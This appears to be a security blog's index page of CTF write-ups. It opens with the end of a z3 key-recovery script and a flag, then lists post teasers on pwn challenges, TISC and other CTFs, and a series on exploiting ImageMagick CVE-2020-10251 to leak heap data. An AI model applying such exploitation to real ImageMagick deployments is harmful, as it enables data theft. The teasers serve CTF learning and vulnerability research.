leak = [int(x.decode("ascii"), 16) for x in recv(0x10)]
from z3 import *
solver = Solver()
initial_key = BitVec('intial_key', 16)
start = 'TISC'
key = initial_key
for i in range(len(start)):
uVar1 = key << 7 ^ key
uVar1 = LShR(uVar1, 9) ^ uVar1 # remember to use LShR and not >>
key = (uVar1 << 8) ^ uVar1
solver.add((key ^ ord(start[i])) % 0x100 == leak[i])
assert solver.check() == sat # else, no solution found
model = solver.model()
print(f"Solution found: initial_key = {model[initial_key]}")
p.interactive()
We can then plug the initial key back into the original program together with the encrypted flag, which will undo the XORs, giving us the flag: TISC{hwfuninnit}
This was a pwn challenge from the recent Amateurs CTF that I first-blooded. The challenge utilised an internal VM from a Solana validator client, Firedancer, and involved finding vulnerabilities in the VM implementation. Interestingly, Firedancer is a clone of the Rust Solana rbpf library but re-written in C!
To temper expectations, this challenge contains no bears. Challenge file: dist
Palindrome, everyone’s favourite cybercrime syndicate, is back for TISC 2023. I managed to solve all 10 challenges this year and clinch 2nd place. Here are my write-ups for all 10 levels.
Over the weekend, I played DownUnderCTF with my team, Social Enginner Experts, placing 6th overall.
This weekend, Social Engineering Experts (SEE) held its inaugural SEETF. Here are my write-ups for the challenges I authored. I am aware of the (multiple) unintended solutions, but thought it would be good to document my intended solutions. Thanks to everyone who played!
Over the weekend, I played GreyCTF with Social Engineering Experts, placing 1st locally and 8th internationally. Having not touched CTFs for ages due to NS, I was a bit rusty, but luckily the challenges were nice twists on simple concepts, offering a pleasant mix of difficulty. I focused on the pwn category and cleared it, save for the first “baby pwn” challenge that my teammate solved. Here are the write-ups for the challenges I solved.
This is part 2 in the series on the ImageMagick vulnerability CVE-2020-10251. Part 1 discusses how to trigger the vulnerability and touches on how to recover the OOB heap data. This part will look at crafting suitable exploit files and exfiltrating useful information from the heap, making use of a self-made fuzzing tool to find viable trigger files. The focus of this part shifts from the analysis perspective in part 1 to exploitation.
In the past, I had done some research in the automated detection of vulnerabilities in binaries. There were a few vulnerabilities that I used as a benchmark for my algorithm to detect, one of which was CVE-2020-25674. This CVE was a bug in ImageMagick, “a widely deployed, general purpose image processing library written in C, most commonly used to resize, transcode or annotate user supplied images on the web… Given its maturity, performance and permissive licencing, ImageMagick is commonly employed for backend image processing for most consumer related software that deal with images” (Ben Simmonds). This bug allowed for an out-of-bounds (OOB) read on the heap. On Github, there were many such closed issues with a proof-of-concept (POC) exploit image file and sometimes, sanitiser logs. With work freeing up recently, I decided to explore some of these vulnerabilities and see how exploitable they were. In this post, we will focus our efforts on CVE-2020-10251, the most recent issue on the ImageMagick repository with the “Bug” label.
I believe that humour is an important part of many relationships, and sadly, its importance is often overlooked. Many great friendships are built on humour, and humour can also help break the ice between new acquaintances. You need look no further than schoolchildren to see the importance of humour in social settings. Apart from informal settings, humour also has a place in formal settings – it reduces stress and builds rapport. Furthermore, aside from humour’s immediate effect of mirth, it is also a good indicator of other qualities present in a relationship: trust, authenticity and understanding.
I participated in JadeCTF over the weekend. Having put CTFs on hold for some time for school, these challenges were a nice refresher for me. For these write-ups, I won’t be diving too deep into the details. Instead, I’ll mainly be focusing on the high-level method used to solve the challenges, and certain tricks along the way.
TISC (The InfoSecurity Challenge) 2022, organised by CSIT, was a CTF held over 17 days. Eager to escape my exam prep, I spent the first few days trying the challenges :) I solved the first 6 challenges in the first week before deciding to resume my studying… The challenges are harder than your typical CTF challenges, often requiring multiple exploits to get the flag. It was a fun and difficult CTF, getting me to explore categories outside my usual since we weren’t allowed teams. In the end, I placed 7th
I felt that these ring’s challenges were quite fun, requiring some creative thinking to solve. There was one last challenge in this category which my team didn’t manage to solve (blackbox FSB pwn). You can find the relevant binaries in this repo.
These 3 challenges had a wide variation in difficulty, but were all worth 100 points each (static scoring). You can find the relevant binaries in this repo.
In the recent Cyber Defenders Discovery Camp (CDDC) organised by DSTA, my team “Avocado_Milk” came in 4th with an overall score of 6180 - maybe one day I’ll get that podium finish :). Here are the write-ups for the challenges I solved during the CTF. I’ll be releasing my rev write-ups as well, but there’s not much chance for the web write-ups since the CTF organisers took all the servers down immediately. I’ll also include other interesting crypto/misc/programming challs.